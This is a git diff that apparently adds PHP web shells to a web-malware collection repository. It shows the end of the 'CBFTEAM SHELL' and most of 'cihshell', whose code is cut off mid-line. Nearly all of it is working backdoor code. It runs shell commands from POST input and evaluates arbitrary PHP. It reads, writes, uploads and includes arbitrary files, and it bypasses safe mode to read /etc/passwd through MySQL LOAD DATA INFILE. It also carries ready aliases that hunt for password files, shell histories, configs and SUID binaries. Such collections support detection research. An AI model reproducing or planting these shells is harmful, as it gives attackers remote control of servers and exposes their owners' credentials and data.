bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +} +function openiT($name){ +$ext=strtolower(substr($name,strrpos($name,'.')+1)); +$src=array('php','php3','php4','phps','phtml','phtm','inc'); +if(in_array($ext,$src))highlight_file($name); +else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>'; +} +function logouT(){ +setcookie('passw','',time()-10000); +header('Location: '.hlinK()); +} +?> +<html> +<head> +<style>body,table{background:url(http://1.bp.blogspot.com/-cbOoAbCD4gc/TtzHl8WrqkI/AAAAAAAAAWA/9FTaLNWd73I/s1600/Dev_backtrack_v7_v2_blue_light_red_five.jpg); scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table {font-size: 15px;} .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#000000;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style> +<meta http-equiv="Content-Language" content="en-us"> +<script language="JavaScript" type="text/JavaScript"> +function HS(box){ +if(document.getElementById(box).style.display!="none"){ +document.getElementById(box).style.display="none"; +document.getElementById('lk').innerHTML="+"; +} +else{ +document.getElementById(box).style.display=""; +document.getElementById('lk').innerHTML="-"; +} +} +function chmoD($file){ +$ch=prompt("Changing file mode["+$file+"]: ex. 777",""); +if($ch != null)location.href="<?php echo hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=');?>"+$file+"&modE="+$ch; +} +</script> +<title>.::CBFTEAM SHELL::. (<?php echo $cwd; ?>)</title> +</head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC"> +<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%"> +<tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd"); ?>">[FTP]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mail]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">[Tools]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="http://cbfteam.org">[Forum]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href='".hlinK("seC=logout")."'>Logout</a>]";?></td></tr></table> +<hr size=1 noshade> +<?php +if(!empty($_REQUEST['seC'])){ +switch($_REQUEST['seC']){ +case 'fm':filemanageR();break; +case 'sc':scanneR();break; +case 'phpinfo':phpinfo();break; +case 'edit':if(!empty($_REQUEST['open']))editoR($_REQUEST['filE']); +if(!empty($_REQUEST['Save'])){ +$filehandle=fopen($_REQUEST['file'],'w'); +fwrite($filehandle,$_REQUEST['edited']); +fclose($filehandle);} +if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR(''); +break; +case 'openit':openiT($_REQUEST['namE']);break; +case 'cr':crackeR();break; +case 'dic':dicmakeR();break; +case 'tools':toolS();break; +case 'hex':hexvieW();break; +case 'img':showimagE($_REQUEST['filE']);break; +case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break; +case 'hc':hashcrackeR();break; +case 'fcr':formcrackeR();break; +case 'auth':authcrackeR();break; +case 'ftpc':ftpclienT();break; +case 'eval':phpevaL();break; +case 'snmp':snmpcrackeR();break; +case 'px':pr0xy();break; +case 'webshell':webshelL();break; +case 'mailer':maileR();break; +case 'br':brshelL();break; +case 'asm':safemodE();break; +case 'sqlcl':sqlclienT();break; +case 'calc':calC();break; +case 'sysinfo':sysinfO();break; +case 'checksum':checksuM($_REQUEST['filE']);break; +case 'logout':logouT();break; +default: echo $intro;}}else echo $intro; +echo $footer;?></body> +<br> +<center><img src="http://cbfteam.pro.tc/break.png"></center> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/cihshell_fix.php b/web-malware-collection-master/Backdoors/PHP/cihshell_fix.php new file mode 100755 index 0000000..64ecd5f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/cihshell_fix.php @@ -0,0 +1,565 @@ +<?php +/* +###################################### +------------ cihshell ---------------- + version: 0.99.1 [beta fix] + + everything you need is in here +-------------------------------------- +########################### /cih.ms/ # +## add 'touch' & fix filesize by DCRM +*/ + +# Settings +# all configurations here + + $auth = 1; // set this to 0 to switch authentication off + + $login = 'test'; + $password = 'test'; + + $errors = 0; // set this to 1 to switch php errors on + $stringnum = 1; // change it to 0, if you don't need string numbers in file viewer + $hexdump_rows=20; // number of rows in hexdump + + $alias=array( // aliases for shell. edit them if you need. +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an', +); + + + # you don't really need to edit it (; + $f = array("SHELL" => "shell","EVAL" => "eval", "MySql Suite" => "mysql", "Server Information" => "server", "Env Informaion" => "envinfo", "PHPinfo" => "phpinfo", "Shell delete" => "delete"); + $ver = '0.99.1 [ beta {fix} ]'; + +# ok, let's start +# ^^ +session_start(); +define("start",atime()); +if(isset($_POST['eval'])){error_reporting(E_ALL&~E_NOTICE);}elseif($errors){error_reporting(E_ALL&~E_NOTICE);}else{error_reporting(0);} +ini_set('max_execution_time',0); +set_magic_quotes_runtime(0); +set_time_limit(0); +if(version_compare(phpversion(), '4.1.0') == -1){$_POST = &$HTTP_POST_VARS; $_GET= &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; } +if (get_magic_quotes_gpc()){foreach ($_POST as $key=>$value){$_POST[$key] = stripslashes($value);}foreach ($_SERVER as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_ENV as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_FILES as $key=>$value){$_SERVER[$key] = stripslashes($value);}} +if ($auth == 0) {$_SESSION['logged'] = true;} + + + +$safe_mode = ini_get("safe_mode"); if (!$safe_mode) {$safe_mode = 'off';} else {$safe_mode = 'On';} +$os = null; $dir = getcwd(); if(strlen($dir)>1 && $dir[1]==":") $os = "win"; else $os = "nix"; +if(empty($dir)){ $opsy = getenv('OS');if(empty($opsy)){ $opsy = php_uname(); } if(empty($opsy)){ $opsy ="-"; $os = "nix"; } else { if(eregi("^win",$opsy)) { $os = "win"; }else { $os = "nix"; }}} +if($os == "nix"){$pwd = exec("pwd");} elseif($os == "win"){$pwd = exec("cd");} if(empty($pwd)) {$pwd = getcwd();} + + + + + +# functions + +function atime() +{list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);} + +function fperms($file) +{$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';} +elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';}elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));$info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info;} + +function conv_size($size){ +if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}else {$size = $size . " B";}return $size;} + +function fileread($opfile) +{$fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);} while(!feof($fh)) {$line = fgets($fh); echo htmlspecialchars($line);}} + +function fileread2($opfile,$stringnum) +{ + $fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);} + echo '<table style="font-size:10px; width:100%; margin:0px; background:#222; ">'; + + if ($stringnum){ + $i=1; + while(!feof($fh)) { + $line = fgets($fh); + echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>'; + $i++; + }} else { + while(!feof($fh)) { + $line = fgets($fh); + echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; } + } + echo '</table><br/>'; +} + + +function safq($query) +{ +$arr = array();$res = mysql_query($query); +if (mysql_num_rows($res) > 0) {$x=0;while($row = mysql_fetch_row($res)){foreach($row as $i => $value) {$column = mysql_field_name($res,$i);$data["$column"] = $value;$arr[$x] = $data;}$x++;}}return $arr;} + +function cmd_exec($cmd2) +{ +if (isset($_POST['cmd'])) {$cmd=$_POST['cmd'];} else {$cmd = $cmd2;} +$result = ''; +if(isset($_POST['cmdir'])){chdir($_POST['cmdir']);} +if(function_exists('system')){ob_start();system($cmd);$result = ob_get_contents();ob_end_clean();} +elseif(function_exists('exec')){exec($cmd,$result);$result = join("\n",$result);} +elseif(function_exists('shell_exec')){$result = shell_exec($cmd);} +elseif(function_exists('passthru')){ob_start();passthru($cmd);$result = ob_get_contents();ob_end_clean();} +elseif(is_resource($f = popen($cmd,"r"))){$result = "";while(!feof($f)) { $result .= fread($f,1024); }pclose($f);} +echo $result; +} + +function code_eval() +{if (isset($_POST['eval'])){echo "\n result is:<br/><br/>";eval($_POST['eval']);}} + +function error($text, $ver) +{ +echo ' +<div class="notice"> +<p align="left" style="padding-left:15px;"><b>error occured:</b></p></div> +<div class="notice" style="margin-bottom:0px; border-bottom:2px solid #222;"> +<textarea cols="100" rows="15" style="width:98%;" class="txt"> '; +echo $text;echo '</textarea></div>'; do_footer($ver); die(); +} + +function notice($text) +{ +echo "<div class='notice'>$text</div>"; +} + + +function do_header($f, $auth, $os, $path) +{ +echo '<html><head>'; +if (isset($_POST['cmd']) || isset($_POST['alias'])) {echo '<meta http-equiv="Content-Type" content="text/html; charset=cp866">'; } else{echo'<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">';} +echo' +<title> CIH.[ms] WebShell </title> +<style> +body{background:#333; color:#999;font-family:Verdana, Arial;font-size:10px; padding:0px; margin:0px;} +.logo {color:#999; font-family:Verdana, Arial; font-size:23px; text-align:left; padding-left:5px; padding-top:0px; margin-bottom:2px;} +.m {color:#888;font-family:Verdana, Arial;font-size:10px; text-align:right; width:80px;background:#2c2c2c; border: 0px; border-right:1px solid #444; cursor:pointer; cursor:hand;} +.m2 {background:#2c2c2c;color:#999;font-size:10px;font-family:Verdana;border: 0px; padding:3px; width:100%; cursor:pointer; cursor:hand;} +.m2:hover {color:#ccc; background:#292929;} +.i {color:#555;font-family:Verdana, Arial;font-size:10px; text-align:right;} +.notice {background:#252525; padding:4px; margin-bottom:2px;} +.footer {font-family:Verdana;font-size:10px; background:#252525; color:#555; padding:4px; border-bottom:1px solid #222; border-left:1px solid #444; border-right:1px solid #444; text-align:center;} +.txt {background:#222; border:1px solid #333; color:#999; font-family:Verdana, Arial;font-size:10px; padding:5px;} +.butt1 {height:20px; width:20px; padding:2px;border:1px solid #222;background:#333; color:#999; font-family:Verdana, Arial;font-size:10px;} +.filet {color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;} +.ico {color:#555;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;} +.dir { cursor:pointer; cursor:hand;background:#252525;color:#999;font-weight:bold;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center; border:0px;} +.file { cursor:pointer; cursor:hand; background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;border:0px; margin:0px;} +.file:hover, .dir:hover {color:#ccc;} +.str{background:#242424; padding:8px; color:#999; font-size:10px; border-bottom:1px solid #292929; border-top:1px solid #292929; margin-top:15px; text-align:left} +.my{background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left;border:0px;} +.form {background:#232323; height:22px; border:1px solid #2e2e2e; width:98%; padding:4px; color:#999; font-family:Verdana, Arial;font-size:10px; } +.fm {background:#272727; border:0px; color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px;} +.fa {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px; text-align:right; border: 0px; width:100%; height:100%; padding:10px; text-align:center;} +.fa1 {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px; text-align:right; border: 0px; width:100%; height:100%; padding:2px; text-align:center;} +.fa:hover, .fa1:hover {background:#292929; color:#ccc;} +</style> +</head> +<body><div style="position:absolute; left:0px; top:0px; background:#333; text-align:center; padding-left:100px; padding-right:100px; height:90%"> +<div style="background:#222; margin:0px; border-left:1px solid #444; border-right:1px solid #444; padding-left:0px; padding-right:0px;"> +<table style="width:100%; height:25px;"> + <tr style="background:#2c2c2c;"> + <td style="color:#666; font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left; padding-left:6px;"> + cihshell on <b>'.$_SERVER['HTTP_HOST'].'</b> + </td>'; + + +echo "<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$path."' class='m2'><td class='m'><input type='submit' value='main' class='m2'></td>"; +foreach($f as $k=>$v) + { + echo " + <!-- $k --> + <td class='m'><input type='submit' name='do' value='$v' class='m2'></td> + "; + } + +if($auth){echo "<td class='m'><input type='submit' name='do' value='logout' class='m2'></td>";} +$disfun = ini_get('disable_functions'); +$safe_mode = ini_get("safe_mode"); +if (!$safe_mode) {$safe_mode = 'Off';} else {$safe_mode = 'On';} +$mysql_try = function_exists('mysql_connect'); +if($mysql_try){ $mysql = 'On';} else {$mysql = 'Off';} +$pg_try = function_exists('pg_connect'); +if($pg_try){$pg = 'On';}else{$pg = 'Off';} +$mssql_try = function_exists('mssql_connect'); +if($mssql_try){$mssql = 'On';}else{$mssql = 'Off';} +$ora_try = function_exists('ocilogon'); +if($ora_try){$ora = 'On';}else{$ora = 'Off';} +$curl_try = function_exists('curl_version'); +if($curl_try) {$curl = 'On';} else {$curl = 'Off';} +$perms = fperms($path); +echo ' </tr> +</table> + +<table style="width:100%; margin-top:5px;"><tr> +<td class="logo" style="width:120px;">CIH.<span style="color:#555">[</span><span style="color:#888">ms</span><span style="color:#555">]</span></td> +<td class="i" style="padding-right:5px; text-align:right;"> +<nobr><b style="color:#666"><i>'.$perms.'</i></b> <span style="color:#333">|</span></nobr> +<nobr>OS: <b>'.php_uname().'</b> <span style="color:#333">|</span></nobr> +<nobr>safe mode: <b>'.$safe_mode.'</b> <span style="color:#333">|</span></nobr> +<nobr>cURL: <b>'.$curl.'</b> <span style="color:#333">|</span></nobr> +<nobr>MySQL: <b>'.$mysql.'</b> <span style="color:#333">|</span></nobr> +<nobr>MSSQL: <b>'.$mssql.'</b> <span style="color:#333">|</span></nobr> +<nobr>PostgreSQL: <b>'.$pg.'</b> <span style="color:#333">|</span></nobr> +<nobr>Oracle: <b>'.$ora.'</b> <span style="color:#333">|</span></nobr> +PHP: <b>'.phpversion().'</b> +</td> + +</tr></table> +<div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:5px;">&nbsp;</div>'; +if (!empty($disfun)){ echo '<div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:10px; color:#666; text-align:right; padding:5px;"><b>disabled functions:&nbsp;</b>'.$disfun.'</div>';} + +} + +function do_footer($ver) +{ +echo '</div> +<div class="footer"> +<span style="float:right; color:#333;">'.round(atime()-start,5).'</span> +<b><form method="post" style="margin:0px;">&copy;</b><input type="submit" value="cihshell" name="do" +style="border:0px; background:#252525; font-weight:bold; padding:0px;" class="footer"/>&nbsp;&nbsp;version : '.$ver.'</form> +</div></div></body></html>'; +} + +# end of functions +# +if (!empty($_POST['login']) && !empty($_POST['password'])){ +if ($_POST['login'] == $login && $_POST['password'] == $password){ +$_SESSION['logged'] = true;} else {echo ' +<html><head><style>body{background:#333;}</style><title>login </title></head> +<body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:"> +<tr> +<td><form method="post" style="margin:0px; padding:)px;"> +login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp; +password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp; +<input type="submit" style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr><tr><td style="text-align:center; color:#666;">incorrect login or password</td></tr></table></body></html>'; die();}} + +if (isset ($_POST['do']) && $_POST['do']=='logout') { unset($_SESSION['logged']); } + +if ($_SESSION['logged'] == true){ +if (isset($_POST['do']) && $_POST['do']=='phpinfo'){echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>'; phpinfo();echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>';die();} +if (isset($_POST['fdo']) && isset($_POST['ffile'])){ +$ffile = $_POST['ffile']; +switch($_POST['fdo']){ +case 'download': +$fl = $_POST['filename'];header("Content-type: application/x-octet-stream");header("Content-disposition: attachment; filename=".$fl.";");readfile($ffile);die();break; + +case 'preview': +include($_POST['ffile']);die(); break; +}} + +if(isset($_POST['f_file'])) +{ + if ($_POST['f_file'] == "..") + { $slashpos = strpos($_POST['f_path'], strrchr($_POST['f_path'], "/")); +$path = substr($_POST['f_path'], 0, $slashpos); + } else {$path = $_POST['f_path']."/".$_POST['f_file'];} + +} +elseif(isset($_POST['path'])) +{$path = $_POST['path'];} +else {$path = $pwd;} + +if(isset($_POST['restore'])){$path = $pwd;} +$path = str_replace("\\", "/", $path);$path = str_replace("'", "", $path); + + + +do_header($f, $auth, $os, $path); + +echo '<table class="notice" style="width:100%; margin-bottom:7px; background:#272727"><tr> +<form method="post" action="" style="padding:0px; margin:0px;"> +<td style="width:50px;"> +<input type="hidden" value="'.$path.'" name="f_path"> +<input type="submit" value=".." name="f_file" class="butt1"> +<input type="submit" value="." name="restore" class="butt1"></td> +<td></form> +<form method="post" action="" style="padding:0px; margin:0px;"> +<input type="text" size="78" value="'.$path.'" name="path" style=" width:90%; height:20px; padding:3px;border:1px solid #222;background:#2c2c2c; color:#999; font-family:Verdana, Arial;font-size:10px;" > +<input type="submit" value="go" class="butt1" style="width:30px; height:21px;"> +</form></td> +</tr></table>'; + +# Safe-mode +# working +if (isset($_POST['safe_mode'])){ + +echo " +<table style='width:100%; font-size:10px;'> +<tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr> +<tr style='background:#242424;' ><td style='padding:10px;'><form action='' method='post' style='padding:0px; margin:0px;'> +<input type='text' name='sm_inc' style='width:80%;' class='form' value='/etc/passwd'/> +<input class='form' style='width:60px;' type='submit' value='try'></form></td></tr> +<tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr> +<tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr> + +<tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr> +<tr style='background:#242424;' > +<td style='padding:10px;'> +<form action='' method='post' style='padding:0px; margin:0px;'> +<input type='text' name='mysql_host' style='width:15%;' class='form' value='localhost'/> +<span style='margin-left:5px; margin-right:5px;'>:</span><input type='text' name='mysql_port' style='width:40px' class='form' value='3306'/> +<span style='margin-left:5px; margin-right:5px;'>database:</span><input type='text' name='mysql_db' style='width:15%;' class='form' value='dbname'/> +<span style='margin-left:5px; margin-right:5px;'>login:</span><input type='text' name='mysql_login' style='width:15%;' class='form' value='dblogin'/> +<span style='margin-left:5px; margin-right:5px;'>password:</span><input type='text' name='mysql_passw' style='width:15%;' class='form' value='dbpassword'/> +<input type='text' name='mysql_file' style='margin-top:3px;width:700px;' class='form' value='/etc/passwd'/><br/> +<input type='submit' name='sm_mysql' value='try' class='form' style='margin-top:8px;width:50px;'> +</form></td></tr> +<tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr> +<tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr> +</table> +"; +do_footer($ver); die(); +} +# Safe_Mode functions +if (isset($_POST['sm_inc'])) +{ +echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > "; +include($_POST['sm_inc']); +echo "</textarea><br/><input type='button' class='form' value='go back' onClick='javascript:history.back();'><br/><br/>"; +do_footer($version); die();} + +if(isset($_POST['sm_mysql'])) +{ +echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > "; +if(!isset($_POST['mysql_port']) || empty($_POST['mysql_port'])) { $_POST['mysql_port'] = "3306"; } +$db = mysql_connect($_POST['mysql_host'].':'.$_POST['mysql_port'],$_POST['mysql_login'],$_POST['mysql_passw']); +if($db){ +if(mysql_select_db($_POST['mysql_db'],$db)) +{$sql = "DROP TABLE IF EXISTS cih_tb;"; mysql_query($sql); + $sql = "CREATE TABLE `cih_tb` ( `file` LONGBLOB NOT NULL );"; + mysql_query($sql);$sql = "LOAD DATA INFILE \"".$_POST['mysql_file']."\" INTO TABLE cih_tb;"; + mysql_query($sql);$sql = "SELECT * FROM cih_tb;"; +$r = mysql_query($sql); +while(($r_sql = mysql_fetch_array($r))) { echo htmlspecialchars($r_sql[0]); } +$sql = "DROP TABLE IF EXISTS cih_tb;"; +mysql_query($sql); +}else echo "Can\'t select database"; +mysql_close($db); +}else echo "-- Could not connect to MySQL server"; +echo "</textarea><br/><input type='button' class='form' value='go back' onClick='javascript:history.back();'><br/><br/>"; +do_footer($version);die();} + + + +if ($safe_mode == "On" && !isset($_POST['safe_mode'])) +{ +notice('<form method="post" style="margin:0px;"><b>safe_mode</b> is <b>On.</b><input type="submit" name="safe_mode" value="Click on this message to start working" style="font-size:10px; color:#999; font-family:Verdana;border:0px; background:#252525;"/></form>'); +} + +if (isset($_POST['fileact'])){switch($_POST['fileact']){ +case 'New File': +$cdir = $_POST['curdir']; +echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:98%;' name='wrcont'></textarea> + +<input type='hidden' name='path' value='".$_POST['curdir']."'><input type='hidden' name='curdir' value='".$_POST['curdir']."'> +<input type='text' name='nfname' class='form' style='width:28%; background:#252525;margin-bottom:1px; margin-right:1px;' value='file.txt'><input type='submit' name='wrfile' class='form' value='create file' style='width:70%'></form><br/>"; +do_footer($ver); die();break; + +case 'New Dir': +$curdir = $_POST['curdir']; +echo "<form method='post' action='' style='margin:0px;'><input type='hidden' name='curdir' value='$curdir'><input type='hidden' name='path' value='$curdir'><input type='text' name='dirname' class='form' style='width:90%; margin-right:1px;' size='100'><input type='submit' style='width:60px;' class='form' value='go!'></form><br/>"; +do_footer($ver);die();break; +case 'Upload': +if (isset($_FILES['userfile'])) { +$file = $_FILES['userfile']; +$curdir = $_POST['path']; +if(isset($_POST['newfilech']) && !empty($_POST['newfile'])) {$nfn=$_POST['newfile'];} else { $nfn = $file['name']; } +if($file['error']!=0) error($file['error']); +else{copy($file['tmp_name'], $curdir.'/'.$nfn);if(!file_exists($curdir.'/'.$file['name']))error("Upload failed. (Can't copy temp file ".$file['tmp_name']." into current directory)", $ver);else{notice("File ".$nfn." was uploaded successfuly..</div>");}}} +echo "<table style='width:100%; font-size:10px;'><tr style='background:#272727;' ><td style='padding:10px; border-top:1px solid #2e2e2e;'><b>Upload from your computer:</b></td></tr> +<tr style='background:#242424;' ><td style='padding:10px;'><form action='' enctype='multipart/form-data' method='post' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='$path'> <input type='hidden' name='fileact' value='Upload'><input name='userfile' size='85' value='' class='form' type='file' style='border:1px solid #444;'><br/><br/>New name :<input name='newfilech' value='1' type='checkbox'><input type='text' name='newfile' style='width:20%;' class='form' value='filename.php'/><input type='submit' style='width:60px;' class='form' value='go!'></form></td></tr> +<tr style='background:#252525;'><td style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr> +<tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr></table>";do_footer($ver);die();break; +}} +# File Manager : File actions +if(isset($_POST['newname'])) // rename +{rename($_POST['ffile'], $_POST['newname']);if(!file_exists($_POST['newname'])){error('Could not rename '); }notice("File was successfuly renamed to &nbsp;".$_POST['newname']."...");} +if(isset($_POST['newpath'])) //copy +{copy($_POST['ffile'], $_POST['newpath']);if(!file_exists($_POST['newpath'])){error('Could not copy file'); }echo " <div class='notice'>File was successfuly copied to &nbsp;<b>".$_POST['newpath']."</b>...</div>";} +if(isset($_POST['chmod'])) // chmod +{$a = chmod($_POST['ffile'], $_POST['chmod']);if(!$a){error('Could not change permissions :o(', $ver);}echo " <div class='notice'>We hope that permissions for file were successfuly changed to &nbsp;<b>".$_POST['chmod']."</b>&nbsp;^^</div>";} +if(isset($_POST['touch'])) // touch +{$dt = strtotime($_POST['touch']); if(!touch($_POST['ffile'], $dt)){ error('Could not change touch time...', $ver);} echo " <div class='notice'>We hope that touch for file were successfuly changed to &nbsp;<b>".$_POST['touch']."</b>&nbsp;^^</div>";} +if (isset($_POST['ffile']) && isset($_POST['wrcont'])){ // write into file +$wrpath = $_POST['ffile']; $wrcont = $_POST['wrcont'];$fh = fopen($wrpath, 'w');if ($fh){fwrite($fh, $wrcont);fclose($fh); }else {error('Couldn\'t write to file..');}echo "<div class='notice'>File&nbsp;<b>$wrpath</b> &nbsp; was successfuly modified</div>";} +if (isset($_POST['nfname']) && isset($_POST['curdir']) && isset($_POST['wrcont'])) // new file +{$file1 = $_POST['curdir']."/".$_POST['nfname'];$fh = fopen($file1, 'w');$r = fwrite($fh, $_POST['wrcont']);fclose($fh);if (!file_exists($file1)){error('Could not create a file..');} else {notice("File was successfuly created");}} +if (isset($_POST['dirname']) && isset($_POST['curdir'])) // new directory +{$curdir = $_POST['curdir']; mkdir($curdir.'/'.$_POST['dirname']);if(file_exists($curdir.'/'.$_POST['dirname'])){notice($curdir.'/'.$_POST['dirname']."&nbsp;was successfuly created.");}else{error('An error occured while creating dir', $ver);} +} +# File Manager : Directory actions +if (isset($_POST['ddo']) && isset($_POST['dirr'])){ +switch($_POST['ddo']){ +case 'rename': +echo" <form method='post' action='' style='margin:0px;'><input type='hidden' name='path' value='".$pwd."'><input type='text' name='ffile' class='form' value='".$_POST['dirr']."' style='width:40%'><span style='margin-left:4px; margin-right:4px;'>to</span><input type='text' 